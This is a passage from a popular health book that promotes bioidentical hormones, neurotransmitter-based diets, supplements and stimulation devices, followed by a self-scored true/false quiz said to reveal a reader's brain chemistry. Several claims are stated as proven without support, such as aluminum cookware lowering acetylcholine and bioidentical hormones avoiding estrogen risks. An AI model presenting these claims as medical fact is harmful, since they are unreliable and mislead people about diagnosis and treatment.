I prescribe hormone replacement therapies for my patients to address conditions that involve hormone deficiencies, ranging from menopause and andropause (the male equivalent of female hormonal changes) to sexual dysfunction, osteoporosis, mood disorders, fatigue, obesity, and cognitive deficiencies. However, the key component of my therapies is the use of natural, bioidentical hormones. These hormones are made from natural sources, such as plants, and work by precisely duplicating the body's original hormones.
The bonding of a hormone to its receptor is determined by the shape of the hormone molecule, like a key fits in a lock. Synthetic hormone molecules (not found in nature) and molecules from different species (Premarin, for example, is estrogen taken from female horses) differ in their molecular configuration from endogenous (made in the body) hormones, so they will also differ in their activity at the receptor level. This means they will not provide the same total activity as the hormones they are intended to replace, and that they will provoke side effects not found with the human hormone. Pharmaceutical companies, however, prefer synthetic hormones. Synthetic hormones can be patented, whereas natural, bioidentical hormones cannot.
For years I have rebuked the medical establishment for its widespread use of substances that have deleterious effects, and like the early vitamin pioneers, I've finally been vindicated. Studies of women given synthetic estrogen now show a 100 percent increase in risk of blood clots (a primary cause of stroke), a 40 percent increase in heart attacks, and a 26 percent increase in breast cancer, compared to women in a control group who were given a placebo. Women who've been using natural, bioidentical estrogen have not suffered these harmful effects.
As with pharmaceuticals, hormones can be abused. Because hormones directly affect internal chemistry, they should be used judiciously and under the direction of a doctor.
**DIET**
You might think that the foods you eat go directly to your stomach (or your thighs), but everything we put into our mouth first affects our brain. For example, think about how sleepy you feel after eating a big plate of pasta at lunchtime, or how you crave carbohydrates when you are under stress. It's common sense, then, to learn to eat to your advantage by understanding the specific impacts different foods have on our natures.
A great example of food chemistry is coffee. Heading out for a long drive? A little coffee is a good choice. But if you drink coffee all day long, you'll end up nervous, irritable, and unable to sleep. You'll spike your dopamine and strain both your GABA and serotonin as they try to calm you down.
**Amino Acids: Protein-Building Neurotransmitters**
Of the four essential nutrient groups, the most fundamental to brain chemistry is protein and its building blocks, amino acids. Amino acids are the precursors to neurotransmitters, and the production of these biochemicals can be directly affected by amino acids in your diet. The list on the next page shows which amino acids are necessary to increase the production of a specific neurotransmitter.
However, the chemical composition of food is complex. Food sources that support specific natures still contain nutrients that affect the others. For example, turkey, which is high in tryptophan—the primary building block for serotonin—also contains the amino acid that is needed to produce dopamine. Eggs, which provide a terrific boost for acetylcholine, have a glutamine component that helps support GABA. This is one of the reasons foods take longer to have their effect, and often need to work in conjunction with other modifications—whether they be prescription drugs, hormones, food supplements, or environmental changes.
NEUROTRANSMITTER | AMINO ACID NEEDED TO PRODUCE IT
---|---
Dopamine | Tyrosine
Acetylcholine | Phosphatidylserine,
Acetyl-L-carnitine
GABA | Glutamine
Serotonin | Tryptophan
Learning to make better dietary choices based on your nature can help you maintain better, balanced health, but you won't see changes in a matter of minutes, as you do with medication, or in a matter of days, as is the case with hormones. Altering your nature through diet requires weeks. But diet is far gentler on your body, supports your body's natural mechanisms for neurotransmitter production, and results in a stable, long-term balance.
Does a nature-based diet mean you can't have any fun? Do you have to give up chocolate, empty carbohydrates, sweets, or alcohol depending on your type? Definitely not. It does mean that you may have to indulge in some of these choices less frequently. Far more important, once you identify a deficiency in one or more biochemicals, you need to consume the best foods for those specific neurotransmitters. If you choose the nutrients that support health now, you can help yourself avoid more serious ailments later. More important, you can reach the full Edge Effect by combining nature-specific diets. For example, combine the recommendations for dopamine and acetylcholine for maximum brain power, or combine the GABA and serotonin diets for maximum calming effects.
**Vitamins and Supplements**
Vitamins and other nutrients are found in a variety of healthy food sources. Yet our less-than-perfect daily lives often interfere with the ability to receive all the nutrients we desperately need. Being constantly on the go, traveling, commuting, and shuttling our children around, sometimes we're just too busy to restock our cupboards or fuss with meal preparation.
Whenever you miss nutritious meals, you're not only depleting your nature but also starving your brain. It can take just a few days to see some of the effects: irritability, loss of concentration, disturbed sleep. But help is readily available. Supplements not only enhance the effectiveness of even a well-balanced diet but also can serve as a temporary substitute when a proper diet regimen is not observed.
Like medications, hormones, and diet, vitamins and other supplements operate on the biochemical level: they initiate reactions, provide energy, help to break down substances, or aid in restoring a depleted element. It is no surprise that they can alter the four biochemical natures. Chromium, rhodiola, and thiamin help to build dopamine, for example; manganese, lipoic acid, and huperzine-A address acetylcholine; inositol, B vitamins, and branched-chain amino acids are GABA-related; and vitamin B6, St. John's wort, and fish oils are used for serotonin-based therapies.
The diets and supplement programs listed in this book are designed to work together. Specifically, the diets promote the absorption of the supplements. Therefore, for best results, use both these programs together.
**LIFESTYLE**
The term _lifestyle_ covers a broad spectrum of behaviors. When we talk about changing our lifestyles, we usually are referring to slowing down our hectic schedules or becoming more physically active. These changes are a simple way to restore and maintain a balanced nature. They provide the means for the brain to replenish itself during the day as well as at night.
No doubt the most pervasive lifestyle issue is stress. Every job has a certain amount of stress associated with it, including unrealistic deadlines, undercompensation, deadly monotony, or friction with supervisors or coworkers. But stress has its positive side. Moderate amounts of stress cause the body to produce dopamine, which gives us the energy to perform, to get things done without procrastinating, to plan, to work hard, and to achieve.
You don't have to change your life radically in order to find activities that will reduce stress. A one-hour power nap, for example, is perfect for giving the brain a chance to restore its neurotransmitters naturally. And there's no lack of evidence about the efficacy of regular physical exertion in improving health. However, if you want to restore a deficient neurotransmitter, the exercise you pick is key. Weight-bearing exercise builds dopamine, while more aerobic activity such as running or swimming supports the other three natures.
Like diet, changes in lifestyle take time to affect brain chemistry, but I guarantee that you will see results. A game of chess increases dopamine; writing a letter replenishes some acetylcholine; a nature walk heightens GABA; sculpting can support your serotonin. Yet even play can have a negative effect if carried to extremes. If you are constantly seeking thrills and mind-expanding experiences—hang gliding, roller-coaster riding, skydiving— you are actually burning out your body's ability to produce acetylcholine the same way LSD would. Once again the answer is maintaining balance, and taking everything, even leisure time, in moderation.
Meditation, chanting, and prayer—important aspects of spirituality— have calming effects that allow the brain to slow down and resynchronize. However, belief in a supreme being, an afterlife, or reincarnation isn't a prerequisite for reaping the rewards of spiritual practice. Like spirituality, nurturing relationships allow your brain to relax. Relationships fraught with stress and antagonism eventually deplete your supply of all four neurotransmitters. A pattern of healthy, rewarding relationships—with associates, friends, or loved ones—can have lifelong advantages.
**ENVIRONMENT**
The word _environment_ has come to mean many things to many people. When I use the word, some of my patients think I'm talking about lead poisoning, PCBs, toxic metals in our water, acid rain, global warming, nuclear waste, ozone depletion, and pesticides. Others assume I'm referring to problems associated with cell phones and microwave ovens. Sadly, all of these environmental dangers are real. Their effects can be subtle, but over time they can and will damage your mind and body.
Thirty years ago, when I first began researching the effects of lead in people who worked in battery factories, very few of my peers could believe the disturbing data. Since then, numerous studies have proven beyond a doubt that lead decreases GABA, cadmium in cigarette smoke decreases dopamine, exposure to the light from fluorescent bulbs and to the aluminum in cookware or drinking water decreases acetylcholine, and pesticides decrease serotonin. Less well documented are the effects of the media's environmental assaults—violent films, pornography, loud music, and foul language. I believe that exposure to such personal upsets depresses production of GABA, acetylcholine, and serotonin.
Though you might not see a difference overnight, you will be amazed at how significantly your overall health changes once you remove harmful environmental influences from your daily life, especially those that affect your nature directly. By changing your environment, you're enhancing the best properties of the Edge Effect, often with little effort.
**TECHNOLOGICAL BREAKTHROUGHS**
A more direct intervention against environmental hazards and other biochemical damage involves the use of technology in an innovative and beneficial way, through devices that employ electrical or magnetic stimulation. I've had good results with my patients when I have prescribed the following treatments. All require a prescription or an office visit and are available through your doctor or pharmacist. Discuss their use with your doctor before you proceed with any of them.
_Transcutaneous electrical nerve stimulation (TENS) units_ have long been used to relieve pain and promote localized healing. They are small— about the size of a cell phone—and they apply tiny amounts of electricity via electrodes that are affixed to specific areas of the body. TENS units stimulate the release of endorphins, which are the body's own pain medication. The electrical stimulation of muscles through these units induces mild contractions that help to restore strength to atrophied muscles.
The _cranial electrical stimulator (CES)_ is similar in size and electrical function to TENS units. With the CES, the electrodes are placed on the left wrist—site of the left vagal nerve, which connects directly to the midbrain—and on the forehead near the frontal lobes, which are the brain's pacemaker. The low voltage administered by the CES increases neurotransmitter levels—it's a catalyst for the amino acid conversions of glutamine into GABA and tryptophan into serotonin. The CES is FDA-approved for treatment of anxiety, depression, and insomnia— conditions directly related to GABA and serotonin deficiencies. Research also suggests that the CES device can be used as an antidote to damaging electromagnetic fields from microwaves, televisions, cell phones, and computers.
_Transcranial magnetic stimulation (TCMS) units,_ a modification of the TENS units, have been developed for chronic pain and depression, both serotonin-deficient maladies. It makes perfect sense to me that the antidote for an electrical problem would be a brain balancer such as a TCMS unit. These handheld units utilize magnetism instead of direct electrical current to affect brain waves. Insulated coils generate magnetic fields that in turn generate electrical activity within specific brain lobes depending upon where the unit is applied. Studies have demonstrated that motor responses such as a twitching thumb can be induced by TCMS, memory and reaction time can be improved, and mood can be elevated. To date, they have shown early promise for stimulating the production of serotonin and GABA, which would help in treating depression, anxiety, and Alzheimer's disease.
**THE NEXT STEP**
The next step on your path to wellness is to identify your primary nature and learn to work with the biochemical that governs it. Understanding your dominant nature will help you identify potential illnesses you might develop, and guide you toward the best ways to prevent them. You will learn which medications, hormones, foods, and supplements can enhance your nature and bring you closer to the Edge Effect by boosting biochemical production.
Recognizing your dominant nature can also help you to understand, modify, and ultimately balance your personality. There comes a time when our natures do not serve us well: what was once a positive attribute can become a problem in a new context. For example, an extremely driven high-dopamine student will likely excel at school but might turn off people in the workplace with behavior that might be considered overbearing. Learning to balance your temperament with the best characteristics of the three other natures is therefore as important as balancing your brain for overall health.
Obviously, there are more than four types of people. What makes every one of us unique is that while we each have one dominant nature, we also have differing amounts of the other three biochemicals. The combinations are infinite. While your dominant nature will tell you how to restore and maintain your health, you also may be deficient in one of the other three biochemicals.
The relationship of brain biochemicals is similar to how the parts of a car work together to get you where you need to go. Dopamine, like gasoline, is a source of power; acetylcholine, like the accelerator, regulates speed; GABA, like the brakes, controls movement; and serotonin, like the alternator, recharges the battery that starts the body's engine, the brain. All four systems are necessary for a smooth ride. Each of us functions in much the same way: you need to balance your nature with the other three biochemicals, checking to see whether there is any other deficiency that would cause your body to work at less than its full potential.
Once you have defined your nature, you can begin the healing process. You will be able to deal effectively with health issues that are the result of imbalances in your brain biochemicals. You can quell that craving for chocolate or address a more serious addiction to cigarettes or alcohol. You will understand why you feel tired or why you are forgetting things more frequently. More important, you will learn what you can do about these problems. You are taking control of your health and happiness by regaining your edge.
WHICH NATURE ARE YOU ?
YOUR NATURE DEFINES you. Specifically, your unique brain chemistry directly affects your memory, attention, personality, and physical health. The combination of the biochemicals dopamine, acetylcholine, GABA, and serotonin controls how you think, how you feel, and how you behave. Your dominant biochemical, which is the one your brain produces in the greatest quantity, governs the other three. Identifying your dominant biochemical, and in turn your dominant nature, is the key to self-discovery.
It is also important to know which biochemicals you are lacking, or not producing in sufficient quantities. These deficiencies are the direct causes of many medical problems. Knowing how to restore either your dominant nature or your secondary natures is the way to begin regaining your edge. By balancing them all, you will reach the full Edge Effect.
In order to identify both your dominant nature and possible biochemical deficiencies, I have developed a simple test that you can take in the privacy of your own home. My twenty-minute profile, which I call the Braverman Nature Assessment, identifies your dominant brain chemistry by both examining physical symptoms and evaluating the psychological dimensions of temperament, type, and personality. The assessment can also reveal the early stages of a brain biochemical deficiency, which will explain the subtle symptoms you experience when you don't feel quite right. The results of these tests then become the guide for all of your health-related issues.
Henry was suffering from chronic hypertension when he came in to see me. The powerful beta-blocker drugs that had been prescribed to lower his blood pressure were having serious side effects: depression, sexual dysfunction, fatigue, dizziness, and a weakened heart muscle. This, inevitably, had led to more prescription drugs: antidepressants, sildenafil (Viagra), and blood thinners. His blood pressure certainly came down, but was Henry in better health? He desperately wanted to get off the medication merry-go-round.
Conventional behavior tests identified Henry as a highly intelligent, driven person who was under heavy stress: the classic type-A personality. The treatment plan based on this information included lifestyle modification exercises and the continuation of the prescription drugs he was already taking. However, Henry's Nature Assessment revealed that although he did exhibit certain thinking and high-achieving characteristics associated with a dopamine nature, his true dominant nature was GABA. The solution to his condition was found in correcting a GABA imbalance, which we did through a combination of medication, diet, and supplements. Happily, Henry is no longer taking the majority of his medications, and he is much calmer now.
Hundreds of my patients have found themselves in a similar scenario. Often they are prescribed medications that do not match their nature. While the initial symptoms might go away at first, almost invariably new ones crop up because their basic biochemical imbalance has not been addressed. This is one of the most important reasons to identify your nature: so that you can take steps to address your biochemical imbalance and keep other related illnesses from occurring.
**BEFORE YOU TAKE
THE NATURE ASSESSMENT**
The Nature Assessment consists of two parts that contain series of true/false questions. The first part of the test determines your dominant nature. The second part will determine if you are experiencing any biochemical deficiencies.
Both tests should be completed in one sitting. Find a quiet place where you won't be distracted by music, nearby activities, or other people, and choose a time when you know that you will not be interrupted by phones, pagers, faxes, or e-mail. Lastly, check your physical state. Postpone taking the tests if you feel particularly out of sorts, or if you're not well rested and well fed.
The most important thing to remember is that there are no right answers to this assessment. You are born with your nature: there is no better or worse nature to have. We all have strengths and weaknesses. So don't overthink the questions, and don't answer as you might in a perfect world. If you want real insight into your overall health, answer truthfully.
Also, don't assume you know your nature before all the votes are counted. You will probably be surprised by the results; most people are. Try not to labor over the answers to a few of questions that you might not be sure about. The test is designed so that a few answers one way or another will not skew the result. Your first inclination, or gut reaction, always indicates the right way to answer the questions in these tests.
**THE BRAVERMAN NATURE ASSESSMENT**
**PART 1: DETERMINING YOUR DOMINANT NATURE**
_Instructions:_ Answer the question by choosing either T for true or F for false. At the end of each group, record only the total number of true statements.
Answer the questions in terms of how you feel most of the time. For example, if you've had a bad night's sleep and feel tired today, answer the questions that pertain to your energy levels based on how you feel on a more average day.
1A
**Memory and Attention**
I find it easy to process my thoughts. T / F
I concentrate effectively. T / F
I am a deep thinker. T / F
I am a quick thinker. T / F
I become distracted because I do so many tasks at once. T / F
I enjoy intense debate. T / F
I have a good imagination. T / F
I tend to criticize and analyze my thoughts. T / F
**Physical**
I have a lot of energy most of the time. T / F
My blood pressure is often elevated. T / F
Sometimes in my life I have had episodes of extreme energy. T / F
I have insomnia. T / F
I find exercising invigorating. T / F
I don't ordinarily need coffee to jump-start me in the morning. T / F
My veins are visible and tend to look as though they might pop out of my skin. T / F
I tend to have a high body temperature. T / F
I eat my lunch while I'm working. T / F
I engage in sexual intercourse any chance I get. T / F
I have a temper. T / F
I eat only to reenergize my body. T / F
I love action movies. T / F
Exercising makes me feel powerful. T / F
**Personality**
I am a very domineering individual. T / F
I sometimes don't notice my feelings. T / F
I often have trouble listening to others because my own ideas dominate. T / F
I have been in many physical altercations. T / F
I tend to be future-oriented. T / F
I am sometimes speculative. T / F
Most people view me as thinking-oriented. T / F
I daydream and often fantasize. T / F
I like to read history and other nonfiction books. T / F
I admire ingenuity. T / F
I can be slow in identifying how people can cause trouble. T / F
I don't usually get tricked by people who say they need my help. T / F
Most people view me as innovative. T / F
People have thought I have had some strange ideas, but I can always explain the basis for them rationally. T / F
I am often agitated or irritated. T / F
Little things make me anxious or upset. T / F
I have fantasies of unlimited power. T / F
I love spending money. T / F
I dominate others in my relationships. T / F
I am very hard on myself. T / F
I react aggressively to criticism, often becoming defensive in front of others. T / F
**Character**
Some individuals view me as tough-minded. T / F
Most people view me as achievement-oriented. T / F
Some people say that I am irrational. T / F
I will do anything to reach a goal. T / F
I value a religious philosophy. T / F
Incompetence makes me angry. T / F
I have high standards for myself and for others. T / F
**Total number of T responses: _____**
2A
**Memory and Attention**
My memory is very strong. T / F
I am an excellent listener. T / F
I am good at remembering stories. T / F
I usually do not forget a face. T / F
I am very creative. T / F
I have an excellent attention span and rarely miss a thing. T / F
I have many good hunches. T / F
I notice everything going on around me. T / F
I have a good imagination. T / F
**Physical**
I tend to have a slow pulse. T / F
My body has excellent tone. T / F
I have a great figure/build. T / F
I have low cholesterol. T / F
When I eat, I love to experience the aromas and the beauty of food. T / F
I love yoga and stretching my muscles. T / F
During sex I am very sensual. T / F
I have had an eating disorder at some point in my life. T / F
I have tried many alternative remedies. T / F
**Personality**
I am a perpetual romantic. T / F
I am in touch with my feelings. T / F
I tend to make decisions based on hunches. T / F
I like to speculate. T / F
Some people say I have my head in the clouds. T / F
I love reading fiction. T / F
I have a rich fantasy life. T / F
I am creative when solving people problems. T / F
I am very expressive; I like to talk about what's bothering me. T / F
I am buoyant. T / F
I believe that it is possible to have a mystical experience. T / F
I believe in being a soul mate. T / F
Sometimes the mystical can excite me. T / F
I tend to overreact to my body. T / F
I find it easy to change; I am not set in my ways. T / F
I am deeply in touch with my emotions. T / F
I tend to love someone one minute and hate him or her the next. T / F
I am flirtatious. T / F
I don't mind spending money if it benefits my relationships. T / F
I tend to fantasize when I'm having sex. T / F
My relationships tend to be filled with romance. T / F
I love watching romantic movies. T / F
I take risks in my love life. T / F
**Character**
I foresee a better future. T / F
I am inspired to help other people. T / F
I believe that all things are possible, particularly for those who are devoted. T / F
I am good at creating harmony between people. T / F
Charity and altruism come from the heart, and I have plenty of both. T / F
Others think me of as having vision. T / F
My thoughts on religion often change. T / F
I am an idealist, but not a perfectionist. T / F
I'm happy with someone who just treats me right. T / F
**Total number of T responses: _____**
3A
**Memory and Attention**
I have a stable attention span and can follow other people's logic.
T / F
I enjoy reading people more than books. T / F
I retain most of what I hear. T / F
I can remember facts people tell me. T / F
I learn from my experiences. T / F
I am good at remembering names. T / F
I can focus very well on tasks and people's stories. T / F
**Physical**
I find it easy to relax. T / F
I am a calm person. T / F
I find it easy to fall asleep at night. T / F
I tend to have high physical endurance. T / F
I have low blood pressure. T / F
I do not have a family history of stroke. T / F
When it comes to sex, I am not very experimental. T / F
I have little muscle tension. T / F
Caffeine has little effect on me. T / F
I take my time eating my meals. T / F
I sleep well. T / F
I don't have many harmful food cravings such as sugar. T / F
Exercising is a regimented habit for me. T / F
**Personality**
I am not very adventurous. T / F
I do not have a temper. T / F
I have a lot of patience. T / F
I don't enjoy philosophy. T / F
I love watching sitcoms about families. T / F
I dislike movies about other worlds or universes. T / F
I am not a risk taker. T / F
I keep past experiences in mind before I make decisions. T / F
I am a realistic person. T / F
I believe in closure. T / F
I like facts and details. T / F
When I make a decision, it's permanent. T / F
I like to plan my day, week, month, etc. T / F
I collect things. T / F
I am a little sad. T / F
I'm afraid of confrontations and altercations. T / F
I save up a lot of money in the event of a crisis. T / F
I tend to create strong, lasting bonds with others. T / F
I am a stable pillar in people's lives. T / F
**Character**
I believe in the adage "Early to bed, early to rise." T / F
I believe in meeting deadlines. T / F
I try to please others the best I can. T / F
I am a perfectionist. T / F
I am good at maintaining long-lasting relationships. T / F
I pay attention to where my money goes. T / F
I believe that the world would be more peaceful if people would improve their morals. T / F
I am very loyal and devoted to my loved ones. T / F
I have high ethical standards that I live by. T / F
I pay close attention to laws, principles, and policies. T / F
I believe in participating in service for the community. T / F
**Total number of T responses: _____**
4A
**Memory and Attention**
I can easily concentrate on manual-labor tasks. T / F
I have a good visual memory. T / F
I am very perceptive. T / F
I am an impulsive thinker. T / F
I live in the here and now. T / F
I tend to say, "Tell me the bottom line." T / F
I am a slow book learner, but I learn easily from experience. T / F
I need to experience something or work at it hands-on in order to understand it. T / F
**Physical**
I sleep too much. T / F
When it comes to sex, I am very experimental. T / F
I have low blood pressure. T / F
I am very action-oriented. T / F
I am very handy around the house. T / F
I am very active outdoors. T / F
I engage in daring activities such as skydiving and motorcycle riding. T / F
I can solve problems spontaneously. T / F
I rarely have carbohydrate cravings. T / F
I usually grab a quick meal on the run. T / F
I'm not very consistent with my exercise routine; I may exercise daily for three weeks and then skip it for a month. T / F
**Personality**
I live life in the immediate moment. T / F
I like to perform/entertain in public. T / F
I tend to gather facts in an unorganized manner. T / F
I am very flexible. T / F
I am a great negotiator. T / F
I often just like to "eat, drink, and be merry." T / F
I am dramatic. T / F
I am very artistic. T / F
I am a good craftsman. T / F
I'm a risk taker when it comes to sports. T / F
I believe in psychics. T / F
I can easily take advantage of others. T / F
I am cynical of others' philosophies. T / F
I like to have fun. T / F
My favorite types of movies are horror flicks. T / F
I am fascinated with weapons. T / F
I rarely stick to a plan or agenda. T / F
I have trouble remaining faithful. T / F
I am easily able to separate and move on when relationships with loved ones end. T / F
I don't pay much attention to how I spend my money. T / F
I have many frivolous relationships. T / F
**Character**
I always keep my options open in case something better comes up. T / F
I don't like working hard for long periods of time. T / F
I believe things should have a function and purpose. T / F
I am optimistic. T / F
I live in the moment. T / F
I pray only when I'm in need of spiritual support. T / F
I don't have particularly high morals and ethical values. T / F
I do what I want, when I want to. T / F
I don't care about being perfect; I just live my life. T / F
Savings are for suckers. T / F
**Total number of T responses: _____**
**Results**
1A. Total number of T responses: dopamine nature ___
2A. Total number of T responses: acetylcholine nature ___
3A. Total number of T responses: GABA nature ___
4A. Total number of T responses: serotonin nature ___
The category with the greatest number of true responses will identify your dominant nature. A classically dominant nature is typically a score of 35 and above in any one category, which suggests a less-than-balanced life.
_Note:_ When any other nature is 10–15 points lower than the dominant one, the nature with the lower score is probably a lifelong relative deficiency and needs balance even in times of good health. For example, if your score is 40 dopamine, 33 acetylcholine, 25 GABA, and 17 serotonin, you likely have long-standing relative deficiencies in both GABA and serotonin.
**PART 2: DEFINING YOUR DEFICIENCIES**
_Instructions:_ Answer the question by choosing either T for true or F for false. At the end of each group, record only the total number of true statements. The second assessment will determine if you are deficient in any of the four biochemicals, including the one that governs your nature. Many of the questions relate to symptoms you might be experiencing. Answer the questions in terms of how you feel right now; it doesn't matter how long you've been experiencing these symptoms, or even if they occurred today for the first time.
1B
**Memory and Attention**
I have trouble paying consistent attention and concentrating. T / F
I need caffeine to wake up. T / F
I cannot think quickly enough. T / F
I do not have a good attention span. T / F
I have trouble getting through a task even when it is interesting to me. T / F
I am slow in learning new ideas. T / F
**Physical**
I crave sugar. T / F
I have decreased libido. T / F
I sleep too much. T / F
I have a history of alcohol or addiction. T / F
I have recently felt worn out for no apparent reason. T / F
I sometimes experience total exhaustion without even exerting myself. T / F
I have always battled weight problems. T / F
I have little motivation for sexual experiences. T / F
I have trouble getting out of bed in the morning. T / F
I have had a craving for cocaine, amphetamines, or Ecstasy. T / F
**Personality**
I feel fine just following others. T / F
People seem to take advantage of me. T / F
I am feeling very down or depressed. T / F
People have told me I am too mellow. T / F
I have little urgency. T / F
I let people criticize me. T / F
I always look to others to lead me. T / F
**Character**
I have lost my reasoning skills. T / F
I can't make good decisions. T / F
**Total number of T responses: _____**
2B
**Memory and Attention**
I lack imagination. T / F
I have difficulty remembering names when I first meet people. T / F
I have noticed that my memory ability is decreasing. T / F
My significant other tells me I don't have romantic thoughts. T / F
I can't remember my friends' birthdays. T / F
I have lost some of my creativity. T / F
**Physical**
I have insomnia. T / F
I have lost muscle tone. T / F
I don't exercise anymore. T / F
I crave fatty foods. T / F
I have experimented with hallucinogens or other illicit drugs. T / F
I feel like my body is falling apart. T / F
I can't breathe easily. T / F
**Personality**
I don't feel joy very often. T / F
I feel despair. T / F
I protect myself from being hurt by others by never telling much about myself. T / F
I find it more comfortable to do things alone rather than in a large group. T / F
Other people get angrier about bothersome things than I do. T / F
I give in easily and tend to be submissive. T / F
I rarely feel passionate about anything. T / F
I like routine. T / F
**Character**
I don't care about anyone's stories but mine. T / F
I don't pay attention to people's feelings. T / F
I don't feel buoyant. T / F
I'm obsessed with my deficiencies. T / F
**Total number of T responses: _____**
3B
**Memory and Attention**
I find it difficult to concentrate because I'm nervous and jumpy. T / F
I can't remember phone numbers. T / F
I have trouble finding the right word. T / F
I have trouble remembering things when I am put on the spot. T / F
I know I am intelligent, but it is hard to show others. T / F
My ability to focus comes and goes. T / F
When I read, I find I have to go back over the same paragraph a few times to absorb the information. T / F
I am a quick thinker but can't always say what I mean. T / F
**Physical**
I feel shaky. T / F
I sometimes tremble. T / F
I have frequent backaches and/or headaches. T / F
I tend to have shortness of breath. T / F
I tend to have heart palpitations. T / F
I tend to have cold hands. T / F
I sometimes sweat too much. T / F
I am sometimes dizzy. T / F
I often have muscle tension. T / F
I tend to get butterflies in my stomach. T / F
I crave bitter foods. T / F
I am often nervous. T / F
I like yoga because it helps me to relax. T / F
I often feel fatigued even when I have had a good night's sleep. T / F
I overeat. T / F
**Personality**
I have mood swings. T / F
I enjoy doing many things at one time, but I find it difficult to decide what to do first. T / F
I tend to do things just because I think they'd be fun. T / F
When things are dull, I always try to introduce some excitement. T / F
I tend to be fickle, changing my mood and thoughts frequently. T / F
I tend to get overly excited about things. T / F
My impulses tend to get me into a lot of trouble. T / F
I tend to be theatrical and draw attention to myself. T / F
I speak my mind no matter what the reaction of others may be. T / F
I sometimes have fits of rage and then feel terribly guilty. T / F
I often tell lies to get out of trouble. T / F
I have always had less interest than the average person in sex. T / F
**Characte** r
I don't play by the rules anymore. T / F
I have lost many friends. T / F
I can't sustain romantic relationships. T / F
I consider the law arbitrary and without reason. T / F
I now consider rules that I used to follow ridiculous T / F
**Total number of T responses: _____**
4B
**Memory and Attention**
I am not very perceptive. T / F
I can't remember things that I have seen in the past. T / F
I have a slow reaction time. T / F
I have a poor sense of direction. T / F
**Physical**
I have night sweats. T / F
I have insomnia. T / F
I tend to sleep in many different positions in order to feel comfortable. T / F
I always awake early in the morning. T / F
I can't relax. T / F
I wake up at least two times per night. T / F
It is difficult for me to fall back asleep when I am awakened. T / F
I crave salt. T / F
I have less energy to exercise. T / F
I am sad. T / F
**Personality**
I have chronic anxiety. T / F
I am easily irritated. T / F
I have thoughts of self-destruction. T / F
I have had suicidal thoughts in my life. T / F
I tend to dwell on ideas too much. T / F
I am sometimes so structured that I become inflexible. T / F
My imagination takes over. T / F
Fear grips me. T / F
**Character**
I can't stop thinking about the meaning of life. T / F
I no longer want to take risks. T / F
The lack of meaning in my life is painful to me. T / F
**Total number of T responses: _____**
**Results**
1B. Total number of T responses: dopamine deficiency ___
2B. Total number of T responses: acetylcholine deficiency ___
3B. Total number of T responses: GABA deficiency ___
4B. Total number of T responses: serotonin deficiency ___
Circle the highest number. This is your most deficient nature, the one that is most likely to lead to illness. Your deficient nature can be the same as or different from your dominant nature. In fact, you'll most likely recognize deficits in your dominant nature sooner than you would in other aspects of your biochemistry, simply because you are used to behaving and feeling a specific way. You burn out your edge just by being yourself. For example, dopamine natures can push themselves too hard at work. Serotonin natures are known to overindulge, especially with alcohol, which would also lead to a biochemical imbalance. When GABA natures don't get enough sleep, they create problems for themselves. Overworking all of the other biochemicals will burn out your acetylcholine. The next four chapters outline treatment modalities for rebalancing any nature deficiency you might have. Balance your most deficient nature first. Then balance the other three to reach the Ultimate Edge Effect.
Any category with up to 5 true statements is considered a minor deficiency. Any category with between 6 and 15 true statements is considered a moderate deficiency. If you have more than 15 true statements in any one category, this indicates a major deficiency; I recommend that you get your doctor involved as soon as possible.
The assessment test will bring out two kinds of deficiencies. The first part of the test points up deficiencies that are the natural result of having one neurotransmitter as dominant. These deficiencies show up over time. The second part of the test uncovers deficiencies that may require more immediate attention.
Minor deficits are the early warning signs of health problems. If ignored, they will eventually lead to more serious deficiencies, ultimately affecting your dominant nature, even if they occurred in another nature. If you fall into the moderate deficit range, you probably have already sought medical treatment for any number of ailments related to that deficiency. Minor and moderate deficits can be treated without medications and usually respond to a combination of natural/nutritional, hormonal, and lifestyle changes.
Major deficits warrant medical treatment and should be addressed immediately. Deficits are treated as diseases—for example, Parkinson's disease, severe mood disorders, high blood pressure, memory loss, seizure disorders, depression, learning disabilities, attention deficit disorder, migraines, sleep disorders, irritable bowel syndrome, manic depression, and anxiety, among others. These conditions most likely require medications; nutritional, hormonal, and lifestyle changes are usually not enough to address them. If you experience any of these symptoms or illnesses, it is important to consult your doctor and get immediate treatment.
**FREQUENTLY ASKED QUESTIONS**
By now you may have many questions about your nature. Here are some answers to the questions I am most frequently asked:
**Q. How can I be sure I've identified my dominant nature?**
A. The Braverman Nature Assessment is based on tests related to brain temperaments and their deficiencies that have been developed and refined over the past fifty years. The assessment incorporates knowledge gained from observation and experiment that has been widely published, reviewed by the most eminent brain scientists, and confirmed in clinical settings.
You may have noticed the repetitive nature of various questions; this is deliberate so that no one question skews the overall result.
**Q. How does a true-false test reveal brain chemistry?**
A. The assessment is the beginning of an internal conversation, which can be continued with your doctor if necessary. No test can reveal brain chemistry completely. Your answers to these questions reveal patterns of thought and behavior that are directly related to the neurotransmitters in the brain. For example, the neurotransmitter dopamine is an excitatory biochemical that, in ample supply, provides you with physical energy, mental energy, intense motivation, high sex drive, quick thinking/processing speed, and an ability to fight off cravings. If you lack all or some of these abilities and behaviors (as the questions in this test will reveal), then we have discovered that you most likely have a dopamine deficiency.
The research is overwhelming. Loners, depressed people, and chronically introverted individuals all have been found to have dopamine deficiencies. Individuals who use dopamine agents such as caffeine or even amphetamines are extroverting their brain and will behave in a way that's different from how their nature would express itself. With the help of these dopamine enhancers, they will exhibit behavior similar to an individual who has a dopamine dominance.
If you are intuitive, with very active cognitive thought processes and high learning capacities, these characteristics have been linked to acetylcholine dominance. Deficiencies of this nature can be associated with attention disorders, psychosis, and nicotine addiction.
**Q. How does the assessment differ from other widely known psychological profile tests?**
A. The psychiatric profession has done remarkable work devising tests that reveal personality traits based on one's state of mind. A person's nature is the combination of personality, memory, attention, and physical health. The Braverman Nature Assessment is the first instrument that tests all of these domains.
**Q. What if I couldn't easily decide on an answer for a large percentage of the questions?**
A. Believe it or not, that in itself says something about your nature! It might be totally consistent with your dominant nature, and good health. However, if you are having trouble answering these questions, get a good night's sleep and try to take the test again. If you still feel uncertain about your answers, then it is very likely that indecision is showing up in other parts of your professional or daily life. In that case, a checkup with your doctor is recommended so that underlying illness can be eliminated as a cause for your wavering. You might also want to review the dopamine nature section. A dopamine nature is able to make clear decisions, and by following the recommendations in that section, you might be able to improve your decision-making ability.
**Q. Would medications or medical conditions influence my Nature Assessment?**
